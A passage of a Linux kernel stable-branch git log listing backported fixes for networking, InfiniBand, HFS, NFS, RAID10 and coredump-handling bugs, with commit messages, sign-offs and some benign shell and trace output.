permanent Before patch: root@debian:~# bridge monitor all [MDB]dev br0 port eth1 grp 239.0.0.1 permanent [MDB]dev br0 port eth1 grp 239.0.0.1 permanent After patch: root@debian:~# bridge monitor all [MDB]dev br0 port eth1 grp 239.0.0.1 permanent Signed-off-by: Nikolay Aleksandrov Fixes: cfd567543590 ("bridge: add support of adding and deleting mdb entries") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6a23fb0db01eff00c38d3fbcdb6e9c52f6f70f24 Author: Herbert Xu Date: Tue Aug 4 15:42:47 2015 +0800 net: Fix skb_set_peeked use-after-free bug [ Upstream commit a0a2a6602496a45ae838a96db8b8173794b5d398 ] The commit 738ac1ebb96d02e0d23bc320302a6ea94c612dec ("net: Clone skb before setting peeked flag") introduced a use-after-free bug in skb_recv_datagram. This is because skb_set_peeked may create a new skb and free the existing one. As it stands the caller will continue to use the old freed skb. This patch fixes it by making skb_set_peeked return the new skb (or the old one if unchanged). Fixes: 738ac1ebb96d ("net: Clone skb before setting peeked flag") Reported-by: Brenden Blanco Signed-off-by: Herbert Xu Tested-by: Brenden Blanco Reviewed-by: Konstantin Khlebnikov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7a433651eb99e42b55d30a852362347f3d8815a Author: Herbert Xu Date: Mon Jul 13 20:01:42 2015 +0800 net: Fix skb csum races when peeking [ Upstream commit 89c22d8c3b278212eef6a8cc66b570bc840a6f5a ] When we calculate the checksum on the recv path, we store the result in the skb as an optimisation in case we need the checksum again down the line. This is in fact bogus for the MSG_PEEK case as this is done without any locking. So multiple threads can peek and then store the result to the same skb, potentially resulting in bogus skb states. This patch fixes this by only storing the result if the skb is not shared. This preserves the optimisations for the few cases where it can be done safely due to locking or other reasons, e.g., SIOCINQ. Signed-off-by: Herbert Xu Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2b99849c32f841bb5384ccf72e33a08af7bd60b Author: Herbert Xu Date: Mon Jul 13 16:04:13 2015 +0800 net: Clone skb before setting peeked flag [ Upstream commit 738ac1ebb96d02e0d23bc320302a6ea94c612dec ] Shared skbs must not be modified and this is crucial for broadcast and/or multicast paths where we use it as an optimisation to avoid unnecessary cloning. The function skb_recv_datagram breaks this rule by setting peeked without cloning the skb first. This causes funky races which leads to double-free. This patch fixes this by cloning the skb and replacing the skb in the list when setting skb->peeked. Fixes: a59322be07c9 ("[UDP]: Only increment counter on first peek/recv") Reported-by: Konstantin Khlebnikov Signed-off-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 295c670af0ffaa64fedd56ce24b761d91bba1ad9 Author: Julian Anastasov Date: Thu Jul 9 09:59:10 2015 +0300 net: call rcu_read_lock early in process_backlog [ Upstream commit 2c17d27c36dcce2b6bf689f41a46b9e909877c21 ] Incoming packet should be either in backlog queue or in RCU read-side section. Otherwise, the final sequence of flush_backlog() and synchronize_net() may miss packets that can run without device reference: CPU 1 CPU 2 skb->dev: no reference process_backlog:__skb_dequeue process_backlog:local_irq_enable on_each_cpu for flush_backlog => IPI(hardirq): flush_backlog - packet not found in backlog CPU delayed ... synchronize_net - no ongoing RCU read-side sections netdev_run_todo, rcu_barrier: no ongoing callbacks __netif_receive_skb_core:rcu_read_lock - too late free dev process packet for freed dev Fixes: 6e583ce5242f ("net: eliminate refcounting in backlog queue") Cc: Eric W. Biederman Cc: Stephen Hemminger Signed-off-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9bd15ab616f0ac0c9bb85960f1c10f59b73ddde Author: Oleg Nesterov Date: Wed Jul 8 21:42:11 2015 +0200 net: pktgen: fix race between pktgen_thread_worker() and kthread_stop() [ Upstream commit fecdf8be2d91e04b0a9a4f79ff06499a36f5d14f ] pktgen_thread_worker() is obviously racy, kthread_stop() can come between the kthread_should_stop() check and set_current_state(). Signed-off-by: Oleg Nesterov Reported-by: Jan Stancek Reported-by: Marcelo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83d411f90275f2cb796101a8b9d585941c21aa3d Author: Nikolay Aleksandrov Date: Tue Jul 7 15:55:56 2015 +0200 bridge: mdb: zero out the local br_ip variable before use [ Upstream commit f1158b74e54f2e2462ba5e2f45a118246d9d5b43 ] Since commit b0e9a30dd669 ("bridge: Add vlan id to multicast groups") there's a check in br_ip_equal() for a matching vlan id, but the mdb functions were not modified to use (or at least zero it) so when an entry was added it would have a garbage vlan id (from the local br_ip variable in __br_mdb_add/del) and this would prevent it from being matched and also deleted. So zero out the whole local ip var to protect ourselves from future changes and also to fix the current bug, since there's no vlan id support in the mdb uapi - use always vlan id 0. Example before patch: root@debian:~# bridge mdb add dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb del dev br0 port eth1 grp 239.0.0.1 permanent RTNETLINK answers: Invalid argument After patch: root@debian:~# bridge mdb add dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb del dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb Signed-off-by: Nikolay Aleksandrov Fixes: b0e9a30dd669 ("bridge: Add vlan id to multicast groups") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a7fa859676c646158e65fb4b51703d4c5802800 Author: Stephen Smalley Date: Tue Jul 7 09:43:45 2015 -0400 net/tipc: initialize security state for new connection socket [ Upstream commit fdd75ea8df370f206a8163786e7470c1277a5064 ] Calling connect() with an AF_TIPC socket would trigger a series of error messages from SELinux along the lines of: SELinux: Invalid class 0 type=AVC msg=audit(1434126658.487:34500): avc: denied { } for pid=292 comm="kworker/u16:5" scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:object_r:unlabeled_t:s0 tclass= permissive=0 This was due to a failure to initialize the security state of the new connection sock by the tipc code, leaving it with junk in the security class field and an unlabeled secid. Add a call to security_sk_clone() to inherit the security state from the parent socket. Reported-by: Tim Shearer Signed-off-by: Stephen Smalley Acked-by: Paul Moore Acked-by: Ying Xue Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70ab4eece4856c981599fd4844ca5f10e10399fb Author: Angga Date: Fri Jul 3 14:40:52 2015 +1200 ipv6: Make MLD packets to only be processed locally [ Upstream commit 4c938d22c88a9ddccc8c55a85e0430e9c62b1ac5 ] Before commit daad151263cf ("ipv6: Make ipv6_is_mld() inline and use it from ip6_mc_input().") MLD packets were only processed locally. After the change, a copy of MLD packet goes through ip6_mr_input, causing MRT6MSG_NOCACHE message to be generated to user space. Make MLD packet only processed locally. Fixes: daad151263cf ("ipv6: Make ipv6_is_mld() inline and use it from ip6_mc_input().") Signed-off-by: Hermin Anggawijaya Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7edd47b42172d345453d899e462a9a59be282ef9 Author: Alexei Starovoitov Date: Fri May 22 15:42:55 2015 -0700 x86: bpf_jit: fix compilation of large bpf programs commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be upstream. x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program. Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") Reported-by: Daniel Borkmann Signed-off-by: Alexei Starovoitov Tested-by: Daniel Borkmann Acked-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e691d7923fb1f32db134b0746034e2e1a4094b08 Author: Dan Carpenter Date: Thu Feb 5 10:37:33 2015 +0300 vhost/scsi: potential memory corruption commit 59c816c1f24df0204e01851431d3bab3eb76719c upstream. This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. I looked at the context and it turns out that in vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so anything higher than 255 then it is invalid. I have made that the limit now. In vhost_scsi_send_evt() we mask away values higher than 255, but now that the limit has changed, we don't need the mask. Signed-off-by: Dan Carpenter Signed-off-by: Nicholas Bellinger [ The affected function was renamed to vhost_scsi_make_tpg before the vulnerability was announced, I ported it to 3.10 stable and changed the code in function tcm_vhost_make_tpg] Signed-off-by: Wang Long Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbc0b109eb4d7bb0e93756cfba87d43f3f73d73d Author: Marcelo Ricardo Leitner Date: Fri Jun 12 10:16:41 2015 -0300 sctp: fix ASCONF list handling commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 upstream. ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen Suggested-by: Neil Horman Suggested-by: Hannes Frederic Sowa Acked-by: Hannes Frederic Sowa Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller [wangkai: backport to 3.10: adjust context] Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21ade966168e10d51068d11e429db5e158bdc148 Author: Hin-Tak Leung Date: Wed Sep 9 15:38:04 2015 -0700 hfs,hfsplus: cache pages correctly between bnode_create and bnode_free commit 7cb74be6fd827e314f81df3c5889b87e4c87c569 upstream. Pages looked up by __hfs_bnode_create() (called by hfs_bnode_create() and hfs_bnode_find() for finding or creating pages corresponding to an inode) are immediately kmap()'ed and used (both read and write) and kunmap()'ed, and should not be page_cache_release()'ed until hfs_bnode_free(). This patch fixes a problem I first saw in July 2012: merely running "du" on a large hfsplus-mounted directory a few times on a reasonably loaded system would get the hfsplus driver all confused and complaining about B-tree inconsistencies, and generates a "BUG: Bad page state". Most recently, I can generate this problem on up-to-date Fedora 22 with shipped kernel 4.0.5, by running "du /" (="/" + "/home" + "/mnt" + other smaller mounts) and "du /mnt" simultaneously on two windows, where /mnt is a lightly-used QEMU VM image of the full Mac OS X 10.9: $ df -i / /home /mnt Filesystem Inodes IUsed IFree IUse% Mounted on /dev/mapper/fedora-root 3276800 551665 2725135 17% / /dev/mapper/fedora-home 52879360 716221 52163139 2% /home /dev/nbd0p2 4294967295 1387818 4293579477 1% /mnt After applying the patch, I was able to run "du /" (60+ times) and "du /mnt" (150+ times) continuously and simultaneously for 6+ hours. There are many reports of the hfsplus driver getting confused under load and generating "BUG: Bad page state" or other similar issues over the years. [1] The unpatched code [2] has always been wrong since it entered the kernel tree. The only reason why it gets away with it is that the kmap/memcpy/kunmap follow very quickly after the page_cache_release() so the kernel has not had a chance to reuse the memory for something else, most of the time. The current RW driver appears to have followed the design and development of the earlier read-only hfsplus driver [3], where-by version 0.1 (Dec 2001) had a B-tree node-centric approach to read_cache_page()/page_cache_release() per bnode_get()/bnode_put(), migrating towards version 0.2 (June 2002) of caching and releasing pages per inode extents. When the current RW code first entered the kernel [2] in 2005, there was an REF_PAGES conditional (and "//" commented out code) to switch between B-node centric paging to inode-centric paging. There was a mistake with the direction of one of the REF_PAGES conditionals in __hfs_bnode_create(). In a subsequent "remove debug code" commit [4], the read_cache_page()/page_cache_release() per bnode_get()/bnode_put() were removed, but a page_cache_release() was mistakenly left in (propagating the "REF_PAGES <-> !REF_PAGE" mistake), and the commented-out page_cache_release() in bnode_release() (which should be spanned by !REF_PAGES) was never enabled. References: [1]: Michael Fox, Apr 2013 http://www.spinics.net/lists/linux-fsdevel/msg63807.html ("hfsplus volume suddenly inaccessable after 'hfs: recoff %d too large'") Sasha Levin, Feb 2015 http://lkml.org/lkml/2015/2/20/85 ("use after free") https://bugs.launchpad.net/ubuntu/+source/linux/+bug/740814 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1027887 https://bugzilla.kernel.org/show_bug.cgi?id=42342 https://bugzilla.kernel.org/show_bug.cgi?id=63841 https://bugzilla.kernel.org/show_bug.cgi?id=78761 [2]: http://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/\ fs/hfs/bnode.c?id=d1081202f1d0ee35ab0beb490da4b65d4bc763db commit d1081202f1d0ee35ab0beb490da4b65d4bc763db Author: Andrew Morton Date: Wed Feb 25 16:17:36 2004 -0800 [PATCH] HFS rewrite http://git.kernel.org/cgit/linux/kernel/git/tglx/history.git/commit/\ fs/hfsplus/bnode.c?id=91556682e0bf004d98a529bf829d339abb98bbbd commit 91556682e0bf004d98a529bf829d339abb98bbbd Author: Andrew Morton Date: Wed Feb 25 16:17:48 2004 -0800 [PATCH] HFS+ support [3]: http://sourceforge.net/projects/linux-hfsplus/ http://sourceforge.net/projects/linux-hfsplus/files/Linux%202.4.x%20patch/hfsplus%200.1/ http://sourceforge.net/projects/linux-hfsplus/files/Linux%202.4.x%20patch/hfsplus%200.2/ http://linux-hfsplus.cvs.sourceforge.net/viewvc/linux-hfsplus/linux/\ fs/hfsplus/bnode.c?r1=1.4&r2=1.5 Date: Thu Jun 6 09:45:14 2002 +0000 Use buffer cache instead of page cache in bnode.c. Cache inode extents. [4]: http://git.kernel.org/cgit/linux/kernel/git/\ stable/linux-stable.git/commit/?id=a5e3985fa014029eb6795664c704953720cc7f7d commit a5e3985fa014029eb6795664c704953720cc7f7d Author: Roman Zippel Date: Tue Sep 6 15:18:47 2005 -0700 [PATCH] hfs: remove debug code Signed-off-by: Hin-Tak Leung Signed-off-by: Sergei Antonov Reviewed-by: Anton Altaparmakov Reported-by: Sasha Levin Cc: Al Viro Cc: Christoph Hellwig Cc: Vyacheslav Dubeyko Cc: Sougata Santra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df4458dde36c0b4df99d6eba8d7a4093497102ad Author: Noa Osherovich Date: Thu Jul 30 17:34:24 2015 +0300 IB/mlx4: Use correct SL on AH query under RoCE commit 5e99b139f1b68acd65e36515ca347b03856dfb5a upstream. The mlx4 IB driver implementation for ib_query_ah used a wrong offset (28 instead of 29) when link type is Ethernet. Fixed to use the correct one. Fixes: fa417f7b520e ('IB/mlx4: Add support for IBoE') Signed-off-by: Shani Michaeli Signed-off-by: Noa Osherovich Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8796a89f50428c9ed07a3d94bd9a1ef35238f0bd Author: Jack Morgenstein Date: Thu Jul 30 17:34:23 2015 +0300 IB/mlx4: Forbid using sysfs to change RoCE pkeys commit 2b135db3e81301d0452e6aa107349abe67b097d6 upstream. The pkey mapping for RoCE must remain the default mapping: VFs: virtual index 0 = mapped to real index 0 (0xFFFF) All others indices: mapped to a real pkey index containing an invalid pkey. PF: virtual index i = real index i. Don't allow users to change these mappings using files found in sysfs. Fixes: c1e7e466120b ('IB/mlx4: Add iov directory in sysfs under the ib device') Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44e6b40365a5552263ca11bbe4a93c13e8c660de Author: Yishai Hadas Date: Thu Aug 13 18:32:03 2015 +0300 IB/uverbs: Fix race between ib_uverbs_open and remove_one commit 35d4a0b63dc0c6d1177d4f532a9deae958f0662c upstream. Fixes: 2a72f212263701b927559f6850446421d5906c41 ("IB/uverbs: Remove dev_table") Before this commit there was a device look-up table that was protected by a spin_lock used by ib_uverbs_open and by ib_uverbs_remove_one. When it was dropped and container_of was used instead, it enabled the race with remove_one as dev might be freed just after: dev = container_of(inode->i_cdev, struct ib_uverbs_device, cdev) but before the kref_get. In addition, this buggy patch added some dead code as container_of(x,y,z) can never be NULL and so dev can never be NULL. As a result the comment above ib_uverbs_open saying "the open method will either immediately run -ENXIO" is wrong as it can never happen. The solution follows Jason Gunthorpe suggestion from below URL: https://www.mail-archive.com/linux-rdma@vger.kernel.org/msg25692.html cdev will hold a kref on the parent (the containing structure, ib_uverbs_device) and only when that kref is released it is guaranteed that open will never be called again. In addition, fixes the active count scheme to use an atomic not a kref to prevent WARN_ON as pointed by above comment from Jason. Signed-off-by: Yishai Hadas Signed-off-by: Shachar Raindel Reviewed-by: Jason Gunthorpe Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09c588d14f0bf9b9d1dbfacbfc763cb938f73e4a Author: Christoph Hellwig Date: Wed Aug 26 11:00:37 2015 +0200 IB/uverbs: reject invalid or unknown opcodes commit b632ffa7cee439ba5dce3b3bc4a5cbe2b3e20133 upstream. We have many WR opcodes that are only supported in kernel space and/or require optional information to be copied into the WR structure. Reject all those not explicitly handled so that we can't pass invalid information to drivers. Signed-off-by: Christoph Hellwig Reviewed-by: Jason Gunthorpe Reviewed-by: Sagi Grimberg Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e81f5a65583793498becd9b6b02d5cc00be86c5a Author: Hin-Tak Leung Date: Wed Sep 9 15:38:07 2015 -0700 hfs: fix B-tree corruption after insertion at position 0 commit b4cc0efea4f0bfa2477c56af406cfcf3d3e58680 upstream. Fix B-tree corruption when a new record is inserted at position 0 in the node in hfs_brec_insert(). This is an identical change to the corresponding hfs b-tree code to Sergei Antonov's "hfsplus: fix B-tree corruption after insertion at position 0", to keep similar code paths in the hfs and hfsplus drivers in sync, where appropriate. Signed-off-by: Hin-Tak Leung Cc: Sergei Antonov Cc: Joe Perches Reviewed-by: Vyacheslav Dubeyko Cc: Anton Altaparmakov Cc: Al Viro Cc: Christoph Hellwig Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c0eb842c45bf67723fe45176993c8fa2a6f178a Author: David Vrabel Date: Fri Jan 9 18:06:12 2015 +0000 xen/gntdev: convert priv->lock to a mutex commit 1401c00e59ea021c575f74612fe2dbba36d6a4ee upstream. Unmapping may require sleeping and we unmap while holding priv->lock, so convert it to a mutex. Signed-off-by: David Vrabel Reviewed-by: Stefano Stabellini Cc: Ian Campbell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edf679fd9804fdf63b1e56a605628da6366fa0d4 Author: NeilBrown Date: Mon Jul 6 17:37:49 2015 +1000 md/raid10: always set reshape_safe when initializing reshape_position. commit 299b0685e31c9f3dcc2d58ee3beca761a40b44b3 upstream. 'reshape_position' tracks where in the reshape we have reached. 'reshape_safe' tracks where in the reshape we have safely recorded in the metadata. These are compared to determine when to update the metadata. So it is important that reshape_safe is initialised properly. Currently it isn't. When starting a reshape from the beginning it usually has the correct value by luck. But when reducing the number of devices in a RAID10, it has the wrong value and this leads to the metadata not being updated correctly. This can lead to corruption if the reshape is not allowed to complete. This patch is suitable for any -stable kernel which supports RAID10 reshape, which is 3.5 and later. Fixes: 3ea7daa5d7fd ("md/raid10: add reshape support") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 457c2de1aba5b6cd55f66a24338fccfb540fc079 Author: Jann Horn Date: Wed Sep 9 15:38:28 2015 -0700 fs: if a coredump already exists, unlink and recreate with O_EXCL commit fbb1816942c04429e85dbf4c1a080accc534299e upstream. It was possible for an attacking user to trick root (or another user) into writing his coredumps into an attacker-readable, pre-existing file using rename() or link(), causing the disclosure of secret data from the victim process' virtual memory. Depending on the configuration, it was also possible to trick root into overwriting system files with coredumps. Fix that issue by never writing coredumps into existing files. Requirements for the attack: - The attack only applies if the victim's process has a nonzero RLIMIT_CORE and is dumpable. - The attacker can trick the victim into coredumping into an attacker-writable directory D, either because the core_pattern is relative and the victim's cwd is attacker-writable or because an absolute core_pattern pointing to a world-writable directory is used. - The attacker has one of these: A: on a system with protected_hardlinks=0: execute access to a folder containing a victim-owned, attacker-readable file on the same partition as D, and the victim-owned file will be deleted before the main part of the attack takes place. (In practice, there are lots of files that fulfill this condition, e.g. entries in Debian's /var/lib/dpkg/info/.) This does not apply to most Linux systems because most distros set protected_hardlinks=1. B: on a system with protected_hardlinks=1: execute access to a folder containing a victim-owned, attacker-readable and attacker-writable file on the same partition as D, and the victim-owned file will be deleted before the main part of the attack takes place. (This seems to be uncommon.) C: on any system, independent of protected_hardlinks: write access to a non-sticky folder containing a victim-owned, attacker-readable file on the same partition as D (This seems to be uncommon.) The basic idea is that the attacker moves the victim-owned file to where he expects the victim process to dump its core. The victim process dumps its core into the existing file, and the attacker reads the coredump from it. If the attacker can't move the file because he does not have write access to the containing directory, he can instead link the file to a directory he controls, then wait for the original link to the file to be deleted (because the kernel checks that the link count of the corefile is 1). A less reliable variant that requires D to be non-sticky works with link() and does not require deletion of the original link: link() the file into D, but then unlink() it directly before the kernel performs the link count check. On systems with protected_hardlinks=0, this variant allows an attacker to not only gain information from coredumps, but also clobber existing, victim-writable files with coredumps. (This could theoretically lead to a privilege escalation.) Signed-off-by: Jann Horn Cc: Kees Cook Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7ad86398be2a1003132693123bb5a2cced8a449 Author: Helge Deller Date: Thu Sep 3 22:45:21 2015 +0200 parisc: Filter out spurious interrupts in PA-RISC irq handler commit b1b4e435e4ef7de77f07bf2a42c8380b960c2d44 upstream. When detecting a serial port on newer PA-RISC machines (with iosapic) we have a long way to go to find the right IRQ line, registering it, then registering the serial port and the irq handler for the serial port. During this phase spurious interrupts for the serial port may happen which then crashes the kernel because the action handler might not have been set up yet. So, basically it's a race condition between the serial port hardware and the CPU which sets up the necessary fields in the irq sructs. The main reason for this race is, that we unmask the serial port irqs too early without having set up everything properly before (which isn't easily possible because we need the IRQ number to register the serial ports). This patch is a work-around for this problem. It adds checks to the CPU irq handler to verify if the IRQ action field has been initialized already. If not, we just skip this interrupt (which isn't critical for a serial port at bootup). The real fix would probably involve rewriting all PA-RISC specific IRQ code (for CPU, IOSAPIC, GSC and EISA) to use IRQ domains with proper parenting of the irq chips and proper irq enabling along this line. This bug has been in the PA-RISC port since the beginning, but the crashes happened very rarely with currently used hardware. But on the latest machine which I bought (a C8000 workstation), which uses the fastest CPUs (4 x PA8900, 1GHz) and which has the largest possible L1 cache size (64MB each), the kernel crashed at every boot because of this race. So, without this patch the machine would currently be unuseable. For the record, here is the flow logic: 1. serial_init_chip() in 8250_gsc.c calls iosapic_serial_irq(). 2. iosapic_serial_irq() calls txn_alloc_irq() to find the irq. 3. iosapic_serial_irq() calls cpu_claim_irq() to register the CPU irq 4. cpu_claim_irq() unmasks the CPU irq (which it shouldn't!) 5. serial_init_chip() then registers the 8250 port. Problems: - In step 4 the CPU irq shouldn't have been registered yet, but after step 5 - If serial irq happens between 4 and 5 have finished, the kernel will crash Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f73b0801f42a8706adcaea5c5be454eff1b9a5c Author: Trond Myklebust Date: Mon Aug 17 12:57:07 2015 -0500 NFS: nfs_set_pgio_error sometimes misses errors commit e9ae58aeee8842a50f7e199d602a5ccb2e41a95f upstream. We should ensure that we always set the pgio_header's error field if a READ or WRITE RPC call returns an error. The current code depends on 'hdr->good_bytes' always being initialised to a large value, which is not always done correctly by callers. When this happens, applications may end up missing important errors. Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 427e82f5a41df8f1f264a85295d8ae6069df3df0 Author: NeilBrown Date: Thu Jul 30 13:00:56 2015 +1000 NFSv4: don't set SETATTR for O_RDONLY|O_EXCL commit efcbc04e16dfa95fef76309f89710dd1d99a5453 upstream. It is unusual to combine the open flags O_RDONLY and O_EXCL, but it appears that libre-office does just that. [pid 3250] stat("/home/USER/.config", {st_mode=S_IFDIR|0700, st_size=8192, ...}) = 0 [pid 3250] open("/home/USER/.config/libreoffice/4-suse/user/extensions/buildid", O_RDONLY|O_EXCL NFSv4 takes O_EXCL as a sign that a setattr command should be sent, probably to reset the timestamps. When it was an O_RDONLY open, the SETATTR command does not identify any actual attributes to change. If no delegation was provided to the open, the SETATTR uses the all-zeros stateid and the request is accepted (at least by the Linux NFS server - no harm, no foul). If a read-delegation was provided, this is used in the SETATTR request, and a Netapp filer will justifiably claim NFS4ERR_BAD_STATEID, which the Linux client takes as a sign to retry - indefinitely. So only treat O_EXCL specially if O_CREAT was also given. Signed-off-by: NeilBrown Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ce5e532eb234759ee9aef741b417eddebe7bcb4 Author: David Härdeman Date: Tue May 19 19:03:12 2015 -0300 rc-core: fix remove uevent generation commit a66b0c41ad277ae62a3ae6ac430a71882f899557 upstream. The input_dev is already gone when the rc device is being unregistered so checking for its presence only means that no remove uevent will be generated. Signed-off-by: David Härdeman Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea27617ee8f8257a74558f78aee800b75fb7797c Author: Minfei Huang Date: Sun Jul 12 20:18:42 2015 +0800 x86/mm: Initialize pmd_idx in page_table_range_init_count() commit 9962eea9e55f797f05f20ba6448929cab2a9f018 upstream. The variable pmd_idx is not initialized for the first iteration of the for loop. Assign the proper value which indexes the start address. Fixes: 719272c45b82 'x86, mm: only call early_ioremap_page_table_range_init() once' Signed-off-by: Minfei Huang Cc: tony.luck@intel.com Cc: wangnan0@huawei.com Cc: david.vrabel@citrix.com Reviewed-by: yinghai@kernel.org Link: http://lkml.kernel.org/r/1436703522-29552-1-git-send-email-mhuang@redhat.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 93edf93b8c1a5be2cb65f6bd4c13c373236b876b Author: Jeffery Miller Date: Tue Sep 1 11:23:02 2015 -0400 Add radeon suspend/resume quirk for HP Compaq dc5750. commit 09bfda10e6efd7b65bcc29237bee1765ed779657 upstream. With the radeon driver loaded the HP Compaq dc5750 Small Form Factor machine fails to resume from suspend. Adding a quirk similar to other devices avoids the problem and the system resumes properly. Signed-off-by: Jeffery Miller Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b868a058a678434150176a20fc3038eedfe4f82b Author: Thomas Huth Date: Fri Jul 17 12:46:58 2015 +0200 powerpc/rtas: Introduce rtas_get_sensor_fast() for IRQ handlers commit 1c2cb594441d02815d304cccec9742ff5c707495 upstream. The EPOW interrupt handler uses rtas_get_sensor(), which in turn uses rtas_busy_delay() to wait for RTAS becoming ready in case it is necessary. But rtas_busy_delay() is annotated with might_sleep() and thus may not be used by interrupts handlers like the EPOW handler! This leads to the following BUG when CONFIG_DEBUG_ATOMIC_SLEEP is enabled: BUG: sleeping function called from invalid context at arch/powerpc/kernel/rtas.c:496 in_atomic(): 1, irqs_disabled(): 1, pid: 0, name: swapper/1 CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.2.0-rc2-thuth #6 Call Trace: [c00000007ffe7b90] [c000000000807670] dump_stack+0xa0/0xdc (unreliable) [c00000007ffe7bc0] [c0000000000e1f14] ___might_sleep+0x134/0x180 [c00000007ffe7c20] [c00000000002aec0] rtas_busy_delay+0x30/0xd0 [c00000007ffe7c50] [c00000000002bde4] rtas_get_sensor+0x74/0xe0 [c00000007ffe7ce0] [c000000000083264] ras_epow_interrupt+0x44/0x450 [c00000007ffe7d90] [c000000000120260] handle_irq_event_percpu+0xa0/0x300 [c00000007ffe7e70] [c000000000120524] handle_irq_event+0x64/0xc0 [c00000007ffe7eb0] [c000000000124dbc] handle_fasteoi_irq+0xec/0x260 [c00000007ffe7ef0] [c00000000011f4f0] generic_handle_irq+0x50/0x80 [c00000007ffe7f20] [c000000000010f3c] __do_irq+0x8c/0x200 [c00000007ffe7f90] [c0000000000236cc] call_do_irq+0x14/0x24 [c00000007e6f39e0] [c000000000011144] do_IRQ+0x94/0x110 [c00000007e6f3a30] [c000000000002594] hardware_interrupt_common+0x114/0x180 Fix this issue by introducing a new rtas_get_sensor_fast() function that does not use rtas_busy_delay() - and thus can only be used for sensors that do not cause a BUSY condition - known as "fast" sensors. The EPOW sensor is defined to be 